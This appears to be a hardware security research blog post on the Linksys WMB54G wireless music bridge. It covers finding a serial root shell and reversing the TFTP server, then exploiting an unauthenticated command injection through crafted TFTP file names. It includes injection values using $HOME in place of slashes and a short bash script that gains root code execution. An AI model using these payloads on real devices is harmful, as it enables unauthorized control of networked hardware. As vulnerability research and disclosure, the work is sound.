Today we’re going to take a look at an interesting little device, the Linksys WMB54G wireless music bridge.
This is a pretty specialized device, so it’s likely a fairly minimalistic system. Even the administrative interface is small and simple:
The Linksys support page doesn’t have any firmware updates available, so let’s take a peek at the hardware.
Opening the case reveals an expectedly limited system, with just 2MB of flash, 8MB of RAM and a small processor covered up by a heat sink:
There are two connectors on the right hand side of the board, labelled J5 and J9. J5 appears to be a JTAG connector, while J9 shows promise of being a serial port:
After poking around with a multimeter, we find that the J9 connector uses the following pin configuration, at 38400 baud:
Pin 1 – TX
Pin 7 – RX
Pin 8 – GND
Connecting to the serial port with minicom provides some nice debug output, with a root shell to boot:
UART1 output test ok Uart init mfid=000000c2 devid=00002249 Found 1 x 2M flash memory ---RealTek(RTL8186)at 2006.06.14-14:49+0800 version 1.3c [16bit](180MHz) no sys signature at 00010000! Jump to image start=0x80600000... decompressing kernel: Uncompressing Linux... done, booting the kernel. done decompressing kernel. early printk enabled Determined physical RAM map: memory: 01000000 @ 00000000 (usable) Initial ramdisk at: 0x801c2000 (4194304 bytes) On node 0 totalpages: 4096 zone(0): 4096 pages. zone(1): 0 pages. zone(2): 0 pages. Kernel command line: root=/dev/ram console=0 ramdisk_start=0 single Calibrating delay loop... 179.40 BogoMIPS Memory: 10076k/16384k available (1634k kernel code, 6308k reserved, 4184k data, 60k init, 0k hig) Dentry-cache hash table entries: 2048 (order: 2, 16384 bytes) Inode-cache hash table entries: 1024 (order: 1, 8192 bytes) Mount-cache hash table entries: 512 (order: 0, 4096 bytes) Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes) Page-cache hash table entries: 4096 (order: 2, 16384 bytes) check_wait... unavailable. POSIX conformance testing by UNIFIX Probe PCI Bus : There must be one device at the slot. PCI device exists: slot 0 function 0 VendorID 13f6 DeviceID 111 bd710000 Find Total 1 PCI function pcibios_fixup_resources IO form 1d500000 to 4f0000 Linux NET4.0 for Linux 2.4 Based upon Swansea University Computer Society NET3.039 Initializing RT netlink socket Starting kswapd pty: 256 Unix98 ptys configured Serial driver version 6.02 (2003-03-12) with no serial options enabled ttyS00 at 0x00c3 (irq = 3) is a rtl_uart1 state->flags=00000000 mcu.o: version $Revision: 0.2 $time 19:39:05 Jan 29 2008 model id is FFFFFFFF Realtek GPIO Driver for Flash Reload Default v0.2 block: 64 slots per queue, batch=16 RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize cmpci: version $Revision: 2.0 $time 19:39:31 Jan 29 2008 cmpci: isr_timer initial ok, 10ms cmpci: spdif_out cmpci: chip version = 055 RealTek E-Flash System Driver. (C) 2002 RealTek Corp. Found 1 x 2M Byte MXIC MX29LV160AB at 0xbe000000 RTL8185 driver version 1.14 (2007-03-15) 8186NIC Ethernet driver v0.0.5 (Mar 3, 2006) eth0: RTL8186-NIC at 0xbd200000, 00:01:02:03:04:05, IRQ 4 eth1: RTL8186-NIC at 0xbd300000, 04:05:06:07:08:09, IRQ 5 NET4: Linux TCP/IP 1.0 for NET4.0 IP Protocols: ICMP, UDP, TCP, IGMP IP: routing cache hash table of 512 buckets, 4Kbytes TCP: Hash tables configured (established 1024 bind 2048) NET4: Unix domain sockets 1.0/SMP for Linux NET4.0. NET4: Ethernet Bridge 008 for NET4.0 RAMDISK: ext2 filesystem found at block 0 RAMDISK: Loading 4096 blocks [1 disk] into ram disk... done. Freeing initrd memory: 4096k freed VFS: Mounted root (ext2 filesystem). Freeing unused kernel memory: 60k freed mount /proc file system ok! serial console detected. Disabling virtual terminals. init started: BusyBox v1.00-pre8 (2008.01.17-05:54+0000) multi-call binary BusyBox v1.00-pre8 (2008.01.17-05:54+0000) Built-in shell (ash) Enter 'help' for a list of built-in commands. #
Although it is a fairly stripped down Linux installation, we luckily still have ps and netstat installed, and can start interrogating the system:
# ps PID Uid VmSize Stat Command 1 root 340 S init 2 root SW [keventd] 3 root RWN [ksoftirqd_CPU0] 4 root SW [kswapd] 5 root SW [bdflush] 6 root SW [kupdated] 7 root SW [mtdblockd] 8 root 412 S -sh 262 root 160 S monitor 264 root 544 S wiapp-streaming 265 root 492 S wiapp-config 267 root 492 S wiapp-config 269 root 544 S wiapp-streaming 272 root 544 S wiapp-streaming 273 root 492 S wiapp-config 274 root 492 S wiapp-config 275 root 492 S wiapp-config 276 root 544 S wiapp-streaming 278 root 544 S wiapp-streaming 281 root 208 S sys_monitor 282 root 280 S httpd 470 root 180 S restore_defaultsd 549 root 328 S easyconf 550 root 216 S tftpd 553 root 280 S udhcpc -i br0 -p /etc/udhcpc/udhcpc-br0.pid -s /usr/s 555 root 336 R ps # netstat -l Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 *:http *:* LISTEN udp 0 0 192.168.2.13:tftp *:* udp 0 0 *:14682 *:* Active UNIX domain sockets (only servers) Proto RefCnt Flags Type State I-Node Path
Hmmm…that TFTP service looks interesting, but it doesn’t seem to respond to TFTP get requests:
eve@eve:~$ tfcp 192.168.2.13:foo . WARNING:tftpy:Timeout waiting for traffic, retrying... ERROR:tftpy:Timed-out waiting for traffic
This warrants some further investigation. Getting the tftpd binary off the system and loading it into IDA reveals some interesting code:
It looks like Dante’s TFTP server accepts file uploads, saves the files to /tmp, then invokes the fwupdate utility by calling system(). I like system().
If, for example, we upload a file named ‘foo’ to the TFTP server:
$ tfcp foo 192.168.2.13:foo
Then the resulting system call will be:
And since our ‘foo’ file isn’t a valid firmware update image, we get the following output on the serial console:
# WRequest from 192.168.2.100: [foo], [octet] # recv [foo], 16 bytes # Now writing the received image into the flash.. TFTP Firmware Upgrade Failed!
Interestingly, although our ‘foo’ file is clearly invalid, it remains in /tmp and is not deleted.
Now, what happens if we tell the TFTP server that our file is named ‘;ls’?
$ tfcp foo 192.168.2.13:';ls'
Since ‘;ls’ is a valid Linux file name, a file named ‘/tmp/;ls’ is created and the resulting system call is:
Which gives us the following output on the serial console:
# WRequest from 192.168.2.100: [;ls], [octet] # recv [;ls], 16 bytes # Now writing the received image into the flash.. TFTP Firmware Upgrade Failed! bin lib mnt tmp web dev lost+found proc usr etc manufacture sbin var
Bam! Successful command execution. Now, we should be able to:
- Upload an executable ELF or shell script to /tmp via the TFTP server
- Use the above command injection vulnerability to chmod and execute our uploaded file
We know we can do #1, but #2 is actually trickier than it sounds. For starters, there’s no chmod on the system, so we can’t change file attributes via the shell. To make matters worse, the use of forward slash characters in our command injection is severely limited. This is a common problem, as ‘/’ is not allowed in file names on Linux systems. You can’t, for example, run the following:
$ tfcp foo 192.168.2.13:';ls /etc'
This will cause the TFTP server to attempt to create a file name ‘/tmp/;ls /etc’, which of course will fail since ‘;ls ‘ is not a directory, and if the file write fails then the system call never gets invoked.
We can get around the chmod issue fairly easily by overwriting an existing file on the system that already has the executable attribute. Of course, we don’t just want to go around overwriting system files willy-nilly, so we’ll probably want to copy the system file to the /tmp directory first, and overwrite it there.
We effectively want to do something like the following, which will result in an executable file named ‘/tmp/a’ that contains content of our choosing (in this example, a simple shell script):
# cp /bin/busybox /tmp/a # echo -e '#!/bin/sh\necho "It works"' > /tmp/a # /tmp/a It works
The problem is that there are a lot of forward slashes in those commands, which our method of command injection won’t allow. There is a solution however, and it’s found in the system’s environment variables.
It turns out that the TFTP server’s working directory is ‘/’, so it’s $PWD environment variable is, you guessed it, ‘/’. This is common, as most processes that daemonize themselves change their working directory to ‘/’; processes executed via system() by the TFTP server will inherit this environment variable.
On this particular system, the $HOME environment variable is also set to ‘/’ for the root user, and all processes run as root.
Substituting forward slashes with either of these environment variables allows the use forward slashes in our command injection exploit without violating the file naming rules in Linux:
$ tfcp foo 192.168.2.13:';ls "$HOME"etc'
This causes a file named ‘;ls “$HOME”etc’ to be created inside of /tmp, but when the system call is made, the $HOME environment variable is expanded to ‘/’, ultimately resulting in the command ‘ls /etc’ being executed as root.
To test this, we’ll try to upload and execute a simple shell script:
#!/bin/sh echo "Dante is my hero."
We will attempt to upload this file, make it executable, then execute it using the following script on our attack machine:
#!/bin/bash # Copy the /bin/busybox executable to /tmp/a, so we can steal its executable permissions tfcp /dev/null 192.168.2.13:';cp "$HOME"bin"$HOME"busybox "$HOME"tmp"$HOME"a' # Upload our shell script, overwriting the /tmp/a file tfcp test.sh 192.168.2.13:a # Execute the /tmp/a script tfcp /dev/null 192.168.2.13:';"$HOME"tmp"$HOME"a'
Does it work? You bet.
# WRequest from 192.168.2.100: [;"$HOME"tmp"$HOME"a], [octet] # recv [;"$HOME"tmp"$HOME"a], 0 bytes # Now writing the received image into the flash.. TFTP Firmware Upgrade Failed! Dante is my hero.
Root code execution with no authentication and just a few lines of bash. Dante is my hero.